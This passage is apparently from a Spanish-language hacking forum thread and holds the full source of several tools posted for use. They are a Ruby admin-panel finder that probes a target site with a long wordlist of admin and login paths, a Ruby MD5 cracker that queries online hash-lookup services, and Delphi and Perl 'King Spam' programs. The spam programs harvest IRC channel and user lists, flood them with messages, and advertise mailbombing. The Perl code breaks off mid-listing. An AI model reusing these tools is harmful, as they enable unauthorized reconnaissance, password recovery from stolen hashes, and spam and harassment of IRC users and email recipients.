nistrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/']
print "\n[+] Scanning ...\n\n"
control = "0"
panels.each do |panel|
begin
url = page+"/"+panel
status_code = response_code(url)
if status_code=="200"
print "[+] Link : "+url+"\n"
control = "1"
end
end
end
if control=="1"
print "\n[+] Finished\n"
else
print "\n[-] Not Found\n"
end
end

def uso
print "\n[+] Sintax : ruby panel_finder.rb <page>\n"
end

def  head
print "\n\n-- ==  Panel Finder 0.5 == --\n\n"
end

def copyright
print "\n\n-- == (C) Doddy Hackman 2015 == --\n\n"
end

page = ARGV[0]

head()

if !page
uso()
else
find_panel(page)
end

copyright()

#The End ?


Version Tk :

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#PanelFinder 0.5
#(C) Doddy Hackman 2015

require "tk"
require "open-uri"
require "net/http"

# Functions

def toma(web)
begin
return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
rescue
return "Error"
end
end

def response_code(web)
begin
return Net::HTTP.get_response(URI(web)) .code
rescue
return "404"
end
end

def tomar(web,arg)
begin
headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
uri = URI(web)
http = Net::HTTP.new(uri.host, uri.port)
return http.post(uri.path,arg, headers).body
rescue
return "Error"
end
end

#

window = TkRoot.new { title "PanelFinder 0.5 (C) Doddy Hackman 2015" ; background "black" }
window['geometry'] = '300x300-20+10'

TkLabel.new(window) do
background "black"
foreground "orange"
text "     Page : "
place('relx'=>"0.1",'rely'=>"0.1")
end

page = TkEntry.new(window){
background "black"
foreground "orange"
width 25
place('relx'=>0.3,'rely'=>0.1)
}

TkLabel.new(window) do
background "black"
foreground "orange"
text "Console"
place('relx'=>0.4,'rely'=>0.2)
end

console =TkText.new(window) do
background "black"
foreground "orange"
width 30
height 10
place('relx'=>0.1,'rely'=>0.3)
end

TkButton.new(window) do
text "Search"
    background "black"
foreground "orange"
width 17
activebackground "orange"
highlightbackground  "orange"
command proc{

page = page.value.to_s
panels = ['admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/']
console.insert("end", "[+] Scanning ...\n\n")
control = "0"
panels.each do |panel|
begin
url = page+"/"+panel
status_code = response_code(url)
if status_code=="200"
console.insert("end","[+] Link : "+url+"\n")
control = "1"
end
end
end
if control=="1"
console.insert("end","\n[+] Finished")
else
console.insert("end","\n[-] Not Found")
end

}
place('relx'=>0.3,'rely'=>0.9)
end

Tk.mainloop

#The End ?


Una imagen :



Eso es todo.
#53
Scripting / [Ruby] MD5 Cracker 0.2
29 Mayo 2015, 16:37 PM
Un simple script en Ruby para crackear un hash MD5.

Version consola :

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#MD5 Cracker 0.2
#(C) Doddy Hackman 2015

require "open-uri"
require "net/http" 

# Functions

def toma(web)
begin
return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
rescue
return "Error"
end
end

def response_code(web)
begin
return Net::HTTP.get_response(URI(web)) .code
rescue
return "404"
end
end

def tomar(web,arg)
begin
headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
uri = URI(web)
http = Net::HTTP.new(uri.host, uri.port)
return http.post(uri.path,arg, headers).body
rescue
return "Error"
end
end

def crack(md5)

print "\n[+] Cracking ...\n\n"

code = tomar("http://md5online.net/index.php","pass="+md5+"&option=hash2text&send=Submit")

if code=~/pass : <b>(.*?)<\/b>/
password = $1
print "[+] md5online.net -> "+password+"\n"
else
print "[-] md5online.net -> Not Found" + "\n"
end

code = tomar("http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php","md5="+md5)

if code=~/<span class='middle_title'>Hashed string<\/span>: (.*?)<\/div>/
password = $1
print "[+] md5.my-addr.co -> "+password+"\n"
else
print "[-] md5.my-addr.co -> Not Found" +"\n"
end

code = tomar("http://md5decryption.com/index.php","hash="+md5+"&submit=Decrypt It!")

if code=~/Decrypted Text: <\/b>(.*?)<\/font>/
password = $1
print "[+] md5decryption.com -> "+password+"\n"
else
print "[-] md5decryption.com -> Not Found"+"\n"
end

print "\n[+] Finished"

end

def uso
print "\n[+] Sintax : ruby md5cracker.rb <md5>\n"
end

def  head
print "\n\n-- == MD5 Cracker 0.2 == --\n\n"
end

def copyright
print "\n\n-- == (C) Doddy Hackman 2015 == --\n\n"
end

#

md5 = ARGV[0]

head()

if !md5
uso()
else
crack(md5)
end

copyright()

#The End ?


Version Tk :

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#MD5 Cracker 0.2
#(C) Doddy Hackman 2015

require "tk"
require "open-uri"
require "net/http"

#Functions

# Functions

def toma(web)
begin
return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
rescue
return "Error"
end
end

def response_code(web)
begin
return Net::HTTP.get_response(URI(web)) .code
rescue
return "404"
end
end

def tomar(web,arg)
begin
headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
uri = URI(web)
http = Net::HTTP.new(uri.host, uri.port)
return http.post(uri.path,arg, headers).body
rescue
return "Error"
end
end

#

window = TkRoot.new { title "MD5 Cracker 0.2 (C) Doddy Hackman 2015" ; background "black" }
window['geometry'] = '300x300-20+10'

TkLabel.new(window) do
background "black"
foreground "green"
text "     MD5 : "
place('relx'=>"0.1",'rely'=>"0.1")
end

md5 = TkEntry.new(window){
background "black"
foreground "green"
width 25
place('relx'=>0.3,'rely'=>0.1)
}

TkLabel.new(window) do
background "black"
foreground "green"
text "Console"
place('relx'=>0.4,'rely'=>0.2)
end

console =TkText.new(window) do
background "black"
foreground "green"
width 30
height 10
place('relx'=>0.1,'rely'=>0.3)
end

TkButton.new(window) do
text "Crack It"
        background "black"
foreground "green"
width 17
activebackground "green"
highlightbackground  "green"
command proc{
md5 = md5.value.to_s

console.insert("end","[+] Cracking ...\n\n")

code = tomar("http://md5online.net/index.php","pass="+md5+"&option=hash2text&send=Submit")
if code=~/pass : <b>(.*?)<\/b>/
password = $1
console.insert("end","[+] md5online.net -> "+password+"\n"  )
else
console.insert("end","[-] md5online.net -> Not Found" + "\n" )
end

code = tomar("http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php","md5="+md5)

if code=~/<span class='middle_title'>Hashed string<\/span>: (.*?)<\/div>/
password = $1
console.insert("end","[+] md5.my-addr.co -> "+password+"\n")
else
console.insert("end","[-] md5.my-addr.co -> Not Found" +"\n")
end

code = tomar("http://md5decryption.com/index.php","hash="+md5+"&submit=Decrypt It!")

if code=~/Decrypted Text: <\/b>(.*?)<\/font>/
password = $1
console.insert("end","[+] md5decryption.com -> "+password+"\n")
else
console.insert("end","[-] md5decryption.com -> Not Found"+"\n")
        end

console.insert("end","\n[+] Finished\n" )

}
place('relx'=>0.3,'rely'=>0.9)
end

Tk.mainloop

#The End ?


Una imagen :



Eso es todo.
#54
Programación General / [Delphi] KingSpam 0.4
22 Mayo 2015, 17:23 PM
Un simple programa para hacer spam en canales IRC , tambien puede listar canales y usuarios.

Es algo inestable les recomiendo la version en Perl.

Una imagen :



Código (delphi) [Seleccionar]

// KingSpam 0.4
// (C) Doddy Hackman 2015

unit spam;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.StdCtrls,
  Vcl.Imaging.pngimage, Vcl.ExtCtrls, IdContext, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdCmdTCPClient, IdIRC, PerlRegEx, Vcl.Menus,
  ShellApi;

type
  TForm1 = class(TForm)
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    GroupBox1: TGroupBox;
    Label1: TLabel;
    host: TEdit;
    Label2: TLabel;
    port: TEdit;
    Label3: TLabel;
    nombre: TEdit;
    Label4: TLabel;
    canal: TEdit;
    Label5: TLabel;
    spam: TEdit;
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    TabSheet2: TTabSheet;
    GroupBox2: TGroupBox;
    GroupBox3: TGroupBox;
    canales: TListBox;
    users: TListBox;
    TabSheet3: TTabSheet;
    GroupBox4: TGroupBox;
    GroupBox5: TGroupBox;
    lista_canales: TListBox;
    console1: TMemo;
    Label6: TLabel;
    canal_agregar: TEdit;
    Button4: TButton;
    Button5: TButton;
    TabSheet5: TTabSheet;
    GroupBox8: TGroupBox;
    console2: TMemo;
    IdIRC1: TIdIRC;
    Button9: TButton;
    StatusBar1: TStatusBar;
    GroupBox6: TGroupBox;
    canal_spam_usuarios: TEdit;
    TabSheet4: TTabSheet;
    GroupBox7: TGroupBox;
    Image2: TImage;
    Label7: TLabel;
    PopupMenu1: TPopupMenu;
    L1: TMenuItem;
    R1: TMenuItem;
    OpenDialog1: TOpenDialog;
    file_spam: TListBox;
    spam_usuarios: TTimer;
    Button11: TButton;
    Button6: TButton;
    otrospamfile: TListBox;
    Image3: TImage;
    procedure Button2Click(Sender: TObject);
    procedure IdIRC1Raw(ASender: TIdContext; AIn: Boolean;
      const AMessage: string);

    procedure Button3Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);

    procedure Button1Click(Sender: TObject);
    procedure L1Click(Sender: TObject);
    procedure R1Click(Sender: TObject);
    procedure spam_usuariosTimer(Sender: TObject);
    procedure Button11Click(Sender: TObject);
    procedure Button6Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  buscando_usuarios: string;
  buscando_canales: string;
  control_guardar_canales: string;
  control_guardar_users: string;

implementation

{$R *.dfm}
// Functions

procedure savefile(filename, texto: string);
var
  ar: TextFile;

begin

  AssignFile(ar, filename);
  FileMode := fmOpenWrite;

  if FileExists(filename) then
    Append(ar)
  else
    Rewrite(ar);

  Write(ar, texto + sLineBreak);
  CloseFile(ar);

end;

procedure TForm1.Button11Click(Sender: TObject);
begin
  StatusBar1.Panels[0].Text := '[+] Finished';
  StatusBar1.Update;
  IdIRC1.Disconnect;
  spam_usuarios.Enabled := false;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  i: integer;
  contenido: TStringList;
  stream: TFileStream;
begin

  file_spam.Clear;

  if OpenDialog1.Execute then
  begin

    spam.Text := OpenDialog1.filename;

    contenido := TStringList.Create;
    stream := TFileStream.Create((OpenDialog1.filename), fmShareDenyNone);
    contenido.LoadFromStream(stream);

    for i := 0 to contenido.Count - 1 do
    begin
      file_spam.Items.Add(contenido[i]);
    end;
  end;

end;

procedure TForm1.Button2Click(Sender: TObject);
var
  seleccion: integer;
begin

  canales.Items.Clear;

  buscando_canales := 'yes';

  seleccion := MessageDlg('Save Channels', mtInformation, mbYesNo, 0);
  if seleccion = mrYes then
  begin
    control_guardar_canales := 'yes';
  end;

  StatusBar1.Panels[0].Text := '[+] Searching channels ...';
  StatusBar1.Update;

  // IdIRC1.Disconnect;

  IdIRC1.Nickname := nombre.Text;
  IdIRC1.AltNickname := nombre.Text + '123';
  IdIRC1.Username := nombre.Text;
  IdIRC1.RealName := nombre.Text;
  IdIRC1.Password := '';
  IdIRC1.host := host.Text;

  try
    begin
      IdIRC1.Connect;
      IdIRC1.Raw('LIST');
    end;
  except
    begin
      ShowMessage('Error connecting');
    end;
  end;

  if (FileExists(GetCurrentDir + '/logs/' + host.Text + '_canales.txt')) then
  begin
    ShellExecute(Handle, 'open', Pchar(GetCurrentDir + '/logs/' + host.Text +
      '_canales.txt'), nil, nil, SW_SHOWNORMAL);
  end;

end;

procedure TForm1.Button3Click(Sender: TObject);
var
  seleccion: integer;
begin

  users.Items.Clear;

  buscando_usuarios := 'yes';

  seleccion := MessageDlg('Save users', mtInformation, mbYesNo, 0);
  if seleccion = mrYes then
  begin
    control_guardar_users := 'yes';
  end;

  StatusBar1.Panels[0].Text := '[+] Searching users ...';
  StatusBar1.Update;

  // IdIRC1.Disconnect;

  IdIRC1.Nickname := nombre.Text;
  IdIRC1.AltNickname := nombre.Text + '123';
  IdIRC1.Username := nombre.Text;
  IdIRC1.RealName := nombre.Text;
  IdIRC1.Password := '';
  IdIRC1.host := host.Text;

  try
    begin
      IdIRC1.Connect;
      IdIRC1.Join(canal.Text);
    end;
  except
    begin
      ShowMessage('Error connecting');
    end;
  end;

  if (FileExists(GetCurrentDir + '/logs/' + canal.Text + '_usuarios.txt')) then
  begin
    ShellExecute(Handle, 'open', Pchar(GetCurrentDir + '/logs/' + canal.Text +
      '_usuarios.txt'), nil, nil, SW_SHOWNORMAL);
  end;

end;

procedure TForm1.Button4Click(Sender: TObject);
begin
  lista_canales.Items.Add(canal_agregar.Text);
end;

procedure TForm1.Button5Click(Sender: TObject);
var
  i: integer;
  canal_z: string;
begin

  StatusBar1.Panels[0].Text := '[+] Spamming channel ...';
  StatusBar1.Update;

  console1.Clear;
  try
    begin
      IdIRC1.Nickname := nombre.Text;
      IdIRC1.AltNickname := nombre.Text + '123';
      IdIRC1.Username := nombre.Text;
      IdIRC1.RealName := nombre.Text;
      IdIRC1.Password := '';
      IdIRC1.host := host.Text;
      IdIRC1.Connect;

      for i := 0 to lista_canales.Count - 1 do
      begin
        canal_z := lista_canales.Items[i];
        IdIRC1.Join(canal_z);
        console1.Lines.Add('[+] Spam in channel : ' + canal_z);
        IdIRC1.Say(canal_z, file_spam.Items[Random(file_spam.Count - 1) + 0]);
        Sleep(2000);
        IdIRC1.Part(canal_z);
        Sleep(2000);
      end;
    end;
  except
    ShowMessage('Error connecting');
  end;

  IdIRC1.Disconnect;

  StatusBar1.Panels[0].Text := '[+] Finished';
  StatusBar1.Update;

end;

procedure TForm1.Button6Click(Sender: TObject);
begin
  StatusBar1.Panels[0].Text := '[+] Spamming users ...';
  StatusBar1.Update;

  IdIRC1.Nickname := nombre.Text;
  IdIRC1.AltNickname := nombre.Text + '123';
  IdIRC1.Username := nombre.Text;
  IdIRC1.RealName := nombre.Text;
  IdIRC1.Password := '';
  IdIRC1.host := host.Text;

  try
    begin
      IdIRC1.Connect;
      IdIRC1.Join(canal_spam_usuarios.Text);
      spam_usuarios.Interval := 10000;
      spam_usuarios.Enabled := true;
    end;
  except
    begin
      ShowMessage('Error connecting');
    end;
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin

  if not DirectoryExists('logs') then
  begin
    CreateDir('logs');
  end;

  OpenDialog1.InitialDir := GetCurrentDir;

end;

procedure TForm1.IdIRC1Raw(ASender: TIdContext; AIn: Boolean;
  const AMessage: string);
var
  code: string;
  regex: TPerlRegEx;
  otroregex: TPerlRegEx;
  canales_encontrados: string;
  control: TPerlRegEx;
  otrocontrol: TPerlRegEx;
  i: integer;
  i2: integer;
  renicks: string;
  listanow: TStringList;
  arraynow: array of String;

begin
  code := AMessage;

  regex := TPerlRegEx.Create();
  otroregex := TPerlRegEx.Create();

  // console1.Lines.Add(code);

  regex.regex := '322 (.*?) (.*?) (.*?) :';
  regex.Subject := code;

  if regex.Match then
  begin
    canales_encontrados := regex.Groups[2];
    canales.Items.Add(canales_encontrados);
    if (control_guardar_canales = 'yes') then
    begin
      savefile('logs/' + host.Text + '_canales.txt', canales_encontrados);
    end;
  end;

  otroregex.regex := '353 (.*) = #(.*) :(.*)';
  otroregex.Subject := code;

  if otroregex.Match then
  begin

    renicks := otroregex.Groups[3];

    renicks := StringReplace(renicks, nombre.Text, '', []);

    listanow := TStringList.Create;
    listanow.Delimiter := ' ';
    listanow.DelimitedText := renicks;

    for i2 := 0 to listanow.Count - 1 do
    begin
      users.Items.Add(listanow[i2]);
      if (control_guardar_users = 'yes') then
      begin
        savefile('logs/' + canal.Text + '_usuarios.txt', listanow[i2]);
      end;
    end;
  end;

  control := TPerlRegEx.Create();
  control.regex := 'End of /LIST';
  control.Subject := code;
  if control.Match then
  begin
    if (buscando_canales = 'yes') then
    begin
      ShowMessage('Channels Loaded');
      StatusBar1.Panels[0].Text := '[+] Channels Found';
      StatusBar1.Update;
      regex.Free;
      IdIRC1.Disconnect;
      IdIRC1.Destroy;
      buscando_canales := 'no';
    end;
  end;

  otrocontrol := TPerlRegEx.Create();
  otrocontrol.regex := 'End of /NAMES';
  otrocontrol.Subject := code;
  if otrocontrol.Match then
  begin
    if (buscando_usuarios = 'yes') then
    begin
      ShowMessage('Users Loaded');
      StatusBar1.Panels[0].Text := '[+] Users Found';
      StatusBar1.Update;
      otrocontrol.Free;
      IdIRC1.Part(canal.Text);
      IdIRC1.Disconnect;
      IdIRC1.Destroy();
      buscando_usuarios := 'no';
    end;
  end;

end;

procedure TForm1.L1Click(Sender: TObject);
var
  i: integer;
  contenido: TStringList;
  stream: TFileStream;
begin

  if OpenDialog1.Execute then
  begin
    contenido := TStringList.Create;
    stream := TFileStream.Create((OpenDialog1.filename), fmShareDenyNone);
    contenido.LoadFromStream(stream);

    for i := 0 to contenido.Count - 1 do
    begin
      lista_canales.Items.Add(contenido[i]);
    end;
  end;

end;

procedure TForm1.R1Click(Sender: TObject);
begin
  lista_canales.Clear;
end;

procedure TForm1.spam_usuariosTimer(Sender: TObject);
var
  i: integer;
begin

  for i := 0 to users.Count - 1 do
  begin

    StatusBar1.Panels[0].Text := '[+] Spamming to ' + users.Items[i];
    StatusBar1.Update;

    console2.Lines.Add('[+] Spamming to ' + users.Items[i]);

    IdIRC1.Say(users.Items[i],
      file_spam.Items[Random(file_spam.Count - 1) + 0]);

  end;

end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de aca
#55
Scripting / [Perl] King Spam 1.0
15 Mayo 2015, 18:25 PM
Un simple script en Perl para hacer spam en canales IRC y correos.

Tiene las siguientes opciones :

  • Spammear un canal normalmente o por siempre
  • Spammear un servidor entero
  • Spammear una lista de servidores y todos sus canales
  • Poder elegir un nick para el bot y un timeout
  • Permite spammear cuentas de correo

    El codigo :

    Código (perl) [Seleccionar]

    #!usr/bin/perl
    #King Spam 1.0
    #(C) Doddy Hackman 2015
    # SMTP Servers
    #smtp.gmail.com - 465
    #smtp.mail.yahoo.com -587

    use IO::Socket;
    use Color::Output;
    Color::Output::Init;
    use Getopt::Long;

    #use Win32::OLE;

    my $nick_secundario    = "Cl4ptr4p";
    my $timeout_secundario = "5";

    GetOptions(
        "get_channels=s"         => \$get_channels,
        "get_users=s"            => \$get_users,
        "spam_channel=s"         => \$spam_channel,
        "spam_channel_forever=s" => \$spam_channel_forever,
        "spam_server=s"          => \$spam_server,
        "spam_servers_file=s"    => \$spam_servers_file,
        "spam_targets=s"         => \$spam_targets,
        "spam_file=s"            => \$spam_file,
        "channel=s"              => \$channel,
        "port=s"                 => \$port,
        "nick=s"                 => \$nick,
        "savefile=s"             => \$file,
        "timeout=s"              => \$timeout,
        "mailbomber"             => \$mailbomber
    );

    head();

    if ($get_channels) {

        my $port_now = "";
        my $nick_now = "";
        my $file_now = "";

        if ( !$port ) {
            $port_now = "6667";
        }
        else {
            $port_now = $port;
        }

        if ( !$nick ) {
            $nick_now = $nick_secundario;
        }
        else {
            $nick_now = $nick;
        }

        if ( !$file ) {
            $file_now = "";
        }
        else {
            $file_now = $file;
        }

        listar_canales( $get_channels, $port_now, $nick_now, $file_now );

    }
    elsif ($get_users) {

        my $port_now = "";
        my $nick_now = "";
        my $file_now = "";

        if ( !$port ) {
            $port_now = "6667";
        }
        else {
            $port_now = $port;
        }

        if ( !$nick ) {
            $nick_now = $nick_secundario;
        }
        else {
            $nick_now = $nick;
        }

        printear_titulo("[+] Serching users ...\n\n");

        my @usuarios =
          buscar_usuarios( $get_users, $port_now, $nick_now, $channel );

        if ( int(@usuarios) eq "0" ) {
            printear("[-] Users not found\n");
        }
        else {
            printear("[+] Users Found : ");
            print int(@usuarios) . "\n\n";
            for my $usuario (@usuarios) {
                printear("[+] User : ");
                print $usuario. "\n";
                savefile( $file, $usuario );
            }
        }

    }
    elsif ($spam_channel) {

        my $port_now    = "";
        my $nick_now    = "";
        my $timeout_now = "";

        if ( !$port ) {
            $port_now = "6667";
        }
        else {
            $port_now = $port;
        }

        if ( !$nick ) {
            $nick_now = $nick_secundario;
        }
        else {
            $nick_now = $nick;
        }

        if ( !$timeout ) {
            $timeout_now = $timeout_secundario;
        }
        else {
            $timeout_now = $timeout;
        }

        spam_canal(
            $spam_channel, $port_now,  $nick_now,
            $channel,      $spam_file, $timeout_now
        );

    }
    elsif ($spam_channel_forever) {

        my $port_now    = "";
        my $nick_now    = "";
        my $timeout_now = "";

        if ( !$port ) {
            $port_now = "6667";
        }
        else {
            $port_now = $port;
        }

        if ( !$nick ) {
            $nick_now = $nick_secundario;
        }
        else {
            $nick_now = $nick;
        }

        if ( !$timeout ) {
            $timeout_now = $timeout_secundario;
        }
        else {
            $timeout_now = $timeout;
        }

        spam_canal_forever( $spam_channel_forever, $port_now, $nick_now,
            $channel, $spam_file, $timeout_now );

    }
    elsif ($spam_server) {

        my $port_now    = "";
        my $nick_now    = "";
        my $timeout_now = "";

        if ( !$port ) {
            $port_now = "6667";
        }
        else {
            $port_now = $port;
        }

        if ( !$nick ) {
            $nick_now = $nick_secundario;
        }
        else {
            $nick_now = $nick;
        }

        if ( !$timeout ) {
            $timeout_now = $timeout_secundario;
        }
        else {
            $timeout_now = $timeout;
        }

        my @encontrados = buscar_canales( $spam_server, $port_now, $nick_now );

        for my $encontrado (@encontrados) {
            if ( $encontrado =~ /(.*)-soy_un_limite-(.*)/ ) {
                my $canal    = $1;
                my $cantidad = $2;

                spam_canal( $spam_server, $port_now, $nick_now, $canal, $spam_file,
                    $timeout_now );

            }
        }

    }
    elsif ($spam_servers_file) {

        my $port_now    = "";
        my $nick_now    = "";
        my $timeout_now = "";

        if ( !$port ) {
            $port_now = "6667";
        }
        else {
            $port_now = $port;
        }

        if ( !$nick ) {
            $nick_now = $nick_secundario;
        }
        else {
            $nick_now = $nick;
        }

        if ( !$timeout ) {
            $timeout_now = $timeout_secundario;
        }
        else {
            $timeout_now = $timeout;
        }

        unless ( -f $spam_servers_file ) {
            printear("[-] File not found\n\n");
            copyright();
        }
        else {

            my @lista = loadfile($spam_servers_file);

            printear("[+] Servers Found : ");
            print int(@lista) . "\n";

            printear_titulo(
                "\n-------------------------------------------------------------\n"
            );

            for my $spam_server (@lista) {
                chomp $spam_server;
                my @encontrados =
                  buscar_canales( $spam_server, $port_now, $nick_now );

                for my $encontrado (@encontrados) {
                    chomp $encontrado;
                    if ( $encontrado =~ /(.*)-soy_un_limite-(.*)/ ) {
                        my $canal    = $1;
                        my $cantidad = $2;

                        spam_canal( $spam_server, $port_now, $nick_now, $canal,
                            $spam_file, $timeout_now );
                        printear_titulo(
    "\n-------------------------------------------------------------\n"
                        );
                    }
                }
            }
        }

    }
    elsif ($spam_targets) {

        my $port_now    = "";
        my $nick_now    = "";
        my $timeout_now = "";

        if ( !$port ) {
            $port_now = "6667";
        }
        else {
            $port_now = $port;
        }

        if ( !$nick ) {
            $nick_now = $nick_secundario;
        }
        else {
            $nick_now = $nick;
        }

        if ( !$timeout ) {
            $timeout_now = $timeout_secundario;
        }
        else {
            $timeout_now = $timeout;
        }

        if ( -f $spam_targets ) {

            my @datos = loadfile($spam_targets);

            printear("[+] Servers Found : ");
            print int(@datos) . "\n";

            printear_titulo(
                "\n-------------------------------------------------------------\n"
            );

            for my $dato (@datos) {
                chomp $dato;
                if ( $dato =~ /(.*) --- (.*)/ ) {
                    my $server = $1;
                    my $canal  = $2;

                    spam_canal( $server, $port_now, $nick_now, $canal, $spam_file,
                        $timeout_now );
                    printear_titulo(
    "\n-------------------------------------------------------------\n"
